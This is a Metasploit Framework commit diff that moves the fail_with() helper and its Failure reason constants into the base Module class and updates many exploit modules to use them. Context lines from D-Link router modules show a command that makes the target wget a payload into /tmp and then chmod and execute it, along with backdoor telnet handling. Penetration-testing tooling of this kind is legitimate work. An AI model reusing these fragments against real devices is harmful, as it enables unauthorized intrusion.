Land #2229 - Re-implement fail_with() function
commit
0f4196d641
|
@ -101,81 +101,6 @@ class Exploit < Msf::Module
|
|||
Unsupported = [ 'unsupported', "This exploit does not support check." ]
|
||||
end
|
||||
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Constants indicating the reason for an unsuccessful exploit attempt
|
||||
#
|
||||
##
|
||||
module Failure
|
||||
|
||||
#
|
||||
# No confidence in success or failure
|
||||
#
|
||||
None = 'none'
|
||||
|
||||
#
|
||||
# No confidence in success or failure
|
||||
#
|
||||
Unknown = 'unknown'
|
||||
|
||||
#
|
||||
# The network service was unreachable (connection refused, etc)
|
||||
#
|
||||
Unreachable = 'unreachable'
|
||||
|
||||
#
|
||||
# The exploit settings were incorrect
|
||||
#
|
||||
BadConfig = 'bad-config'
|
||||
|
||||
#
|
||||
# The network service disconnected us mid-attempt
|
||||
#
|
||||
Disconnected = 'disconnected'
|
||||
|
||||
#
|
||||
# The application endpoint or specific service was not found
|
||||
#
|
||||
NotFound = 'not-found'
|
||||
|
||||
#
|
||||
# The application replied in an unexpected fashion
|
||||
#
|
||||
UnexpectedReply = 'unexpected-reply'
|
||||
|
||||
#
|
||||
# The exploit triggered some form of timeout
|
||||
#
|
||||
TimeoutExpired = 'timeout-expired'
|
||||
|
||||
#
|
||||
# The exploit was interrupted by the user
|
||||
#
|
||||
UserInterrupt = 'user-interrupt'
|
||||
|
||||
#
|
||||
# The application replied indication we do not have access
|
||||
#
|
||||
NoAccess = 'no-access'
|
||||
|
||||
#
|
||||
# The target is not compatible with this exploit or settings
|
||||
#
|
||||
NoTarget = 'no-target'
|
||||
|
||||
#
|
||||
# The application response indicated it was not vulnerable
|
||||
#
|
||||
NotVulnerable = 'not-vulnerable'
|
||||
|
||||
#
|
||||
# The payload was delivered but no session was opened (AV, network, etc)
|
||||
#
|
||||
PayloadFailed = 'payload-failed'
|
||||
end
|
||||
|
||||
#
|
||||
# The various basic types of exploits
|
||||
#
|
||||
|
|
|
@ -734,6 +734,85 @@ class Module
|
|||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Support fail_with for all module types, allow specific classes to override
|
||||
#
|
||||
def fail_with(reason, msg=nil)
|
||||
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
||||
end
|
||||
|
||||
#
|
||||
# Constants indicating the reason for an unsuccessful module attempt
|
||||
#
|
||||
module Failure
|
||||
|
||||
#
|
||||
# No confidence in success or failure
|
||||
#
|
||||
None = 'none'
|
||||
|
||||
#
|
||||
# No confidence in success or failure
|
||||
#
|
||||
Unknown = 'unknown'
|
||||
|
||||
#
|
||||
# The network service was unreachable (connection refused, etc)
|
||||
#
|
||||
Unreachable = 'unreachable'
|
||||
|
||||
#
|
||||
# The exploit settings were incorrect
|
||||
#
|
||||
BadConfig = 'bad-config'
|
||||
|
||||
#
|
||||
# The network service disconnected us mid-attempt
|
||||
#
|
||||
Disconnected = 'disconnected'
|
||||
|
||||
#
|
||||
# The application endpoint or specific service was not found
|
||||
#
|
||||
NotFound = 'not-found'
|
||||
|
||||
#
|
||||
# The application replied in an unexpected fashion
|
||||
#
|
||||
UnexpectedReply = 'unexpected-reply'
|
||||
|
||||
#
|
||||
# The exploit triggered some form of timeout
|
||||
#
|
||||
TimeoutExpired = 'timeout-expired'
|
||||
|
||||
#
|
||||
# The exploit was interrupted by the user
|
||||
#
|
||||
UserInterrupt = 'user-interrupt'
|
||||
|
||||
#
|
||||
# The application replied indication we do not have access
|
||||
#
|
||||
NoAccess = 'no-access'
|
||||
|
||||
#
|
||||
# The target is not compatible with this exploit or settings
|
||||
#
|
||||
NoTarget = 'no-target'
|
||||
|
||||
#
|
||||
# The application response indicated it was not vulnerable
|
||||
#
|
||||
NotVulnerable = 'not-vulnerable'
|
||||
|
||||
#
|
||||
# The payload was delivered but no session was opened (AV, network, etc)
|
||||
#
|
||||
PayloadFailed = 'payload-failed'
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Just some handy quick checks
|
||||
|
|
|
@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#
|
||||
def use_zlib
|
||||
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
|
||||
fail_with(Exploit::Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
|
||||
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
begin
|
||||
if (not sunrpc_create('udp', 100068, 4))
|
||||
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
|
||||
fail_with(Failure::Unknown, 'sunrpc_create failed')
|
||||
end
|
||||
|
||||
# spray the heap a bit (work around powerpc cache issues)
|
||||
|
|
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(datastore['URI'])
|
||||
}, 5)
|
||||
@mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
|
||||
fail_with(Exploit::Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
|
||||
fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
|
||||
end
|
||||
|
||||
buffer =
|
||||
|
|
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("FTP Banner: #{banner.strip}")
|
||||
version = m[1]
|
||||
else
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
regexp = Regexp.escape(version)
|
||||
|
@ -160,14 +160,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if (not @mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
print_status("Selected Target: #{@mytarget.name}")
|
||||
|
||||
pl = exploit_regenerate_payload(@mytarget.platform, arch)
|
||||
if not pl
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to regenerate payload!')
|
||||
fail_with(Failure::Unknown, 'Unable to regenerate payload!')
|
||||
end
|
||||
else
|
||||
print_status("Trying target #{@mytarget.name}...")
|
||||
|
|
|
@ -69,7 +69,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
fname = datastore['WritableDir']
|
||||
fname = "#{fname}/" unless fname =~ %r'/$'
|
||||
if fname.length > 36
|
||||
fail_with(Exploit::Failure::BadConfig, "WritableDir can't be longer than 33 characters")
|
||||
fail_with(Failure::BadConfig, "WritableDir can't be longer than 33 characters")
|
||||
end
|
||||
fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"
|
||||
|
||||
|
@ -100,11 +100,11 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
|
||||
def exploit
|
||||
payload_fname = upload_payload
|
||||
fail_with(Exploit::Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
|
||||
fail_with(Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
|
||||
print_status("Payload #{payload_fname} uploaded.")
|
||||
|
||||
exploit_fname = upload_exploit(payload_fname)
|
||||
fail_with(Exploit::Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
|
||||
fail_with(Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
|
||||
print_status("Exploit #{exploit_fname} uploaded.")
|
||||
|
||||
register_files_for_cleanup(payload_fname, exploit_fname)
|
||||
|
|
|
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
loop do
|
||||
data = sock.get_once(-1, 5) rescue nil
|
||||
if not data
|
||||
fail_with(Exploit::Failure::Unknown, "This system does not support encryption")
|
||||
fail_with(Failure::Unknown, "This system does not support encryption")
|
||||
end
|
||||
break if data.index("\xff\xfa\x26\x02\x01")
|
||||
end
|
||||
|
|
|
@ -165,7 +165,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("FTP Banner: #{banner.strip}")
|
||||
version = m[1]
|
||||
else
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
regexp = Regexp.escape(version)
|
||||
|
@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if (not mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
print_status("Selected Target: #{mytarget.name}")
|
||||
|
@ -193,7 +193,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
pwd = send_cmd(['PWD'])
|
||||
if pwd !~ /257\s\"(.+)\"/
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to get current working directory")
|
||||
fail_with(Failure::Unknown, "Unable to get current working directory")
|
||||
end
|
||||
pwd = $1
|
||||
pwd << "/" if pwd[-1,1] != "/"
|
||||
|
|
|
@ -325,7 +325,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("FTP Banner: #{banner.strip}")
|
||||
version = m[1]
|
||||
else
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
regexp = Regexp.escape(version)
|
||||
|
@ -337,7 +337,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if (not mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
print_status("Selected Target: #{mytarget.name}")
|
||||
|
@ -383,7 +383,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Make sure we didn't introduce instability
|
||||
addr_badchars = "\x09\x0a\x0b\x0c\x20"
|
||||
if idx = Rex::Text.badchar_index(addrs, addr_badchars)
|
||||
fail_with(Exploit::Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
|
||||
fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
|
||||
end
|
||||
|
||||
buf << addrs
|
||||
|
@ -432,7 +432,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if not session_created?
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
|
||||
fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
|
||||
end
|
||||
else
|
||||
sock.put(buf)
|
||||
|
|
|
@ -76,13 +76,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def exploit_cmd
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = "#{payload.encoded}; echo end"
|
||||
print_status("#{rhost}:#{rport} - Sending exploit request...")
|
||||
res = request(cmd)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
|
||||
if res.body.include?("end")
|
||||
|
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
|
||||
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
|
||||
return
|
||||
|
@ -114,7 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
|
||||
add_socket(sock)
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
|
||||
|
@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
|
||||
rescue
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -102,12 +102,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if target.name =~ /CMD/
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
res = request(cmd,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
return
|
||||
|
@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
|
||||
res = request(cmd,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
|
@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
|
||||
res = request(cmd,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -192,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
|
||||
res = request(cmd,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -218,7 +218,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -108,23 +108,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
if res.nil?
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
|
||||
end
|
||||
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
|
||||
end
|
||||
if (res.code == 404)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
|
||||
end
|
||||
|
||||
if (res.body) =~ /#{login_check}/
|
||||
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -143,21 +143,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
|
||||
if sock.nil?
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
|
||||
prompt = negotiate_telnet(sock)
|
||||
if prompt.nil?
|
||||
sock.close
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
|
||||
end
|
||||
|
||||
handler(sock)
|
||||
rescue
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
|
||||
end
|
||||
|
||||
return
|
||||
|
@ -179,7 +179,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -122,25 +122,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
if res.body =~ /\<script\ langauge\=\"javascript\"\>showMainTabs\(\"setup\"\)\;\<\/script\>/
|
||||
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
if target.name =~ /CMD/
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
res = request(cmd)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
end
|
||||
|
@ -194,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
|
||||
res = request(cmd)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
|
@ -216,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
|
||||
res = request(cmd)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||||
select(nil, nil, nil, @timeout)
|
||||
|
@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
|
||||
res = request(cmd)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -254,7 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -97,19 +97,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def exploit_cmd
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
type = "add"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
type = "delete"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
@ -123,12 +123,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
type = "add"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
type = "delete"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
|
||||
begin
|
||||
|
@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
|
||||
add_socket(sock)
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
|
||||
|
@ -161,7 +161,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
|
||||
rescue
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
@ -220,7 +220,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
type = "add"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
|
@ -236,7 +236,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
type = "delete"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -317,7 +317,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -64,13 +64,13 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
}
|
||||
)
|
||||
|
||||
fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?
|
||||
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
|
||||
|
||||
if res.headers['Location'] =~ /users\/login$/
|
||||
fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
else
|
||||
session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
|
||||
fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
|
||||
end
|
||||
|
||||
print_status('Retrieving the CSRF token for this session...')
|
||||
|
@ -80,10 +80,10 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(target_uri)
|
||||
)
|
||||
|
||||
fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?
|
||||
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
|
||||
|
||||
if res.headers['Location'] =~ /users\/login$/
|
||||
fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the CSRF token')
|
||||
else
|
||||
csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
|
||||
csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i
|
||||
|
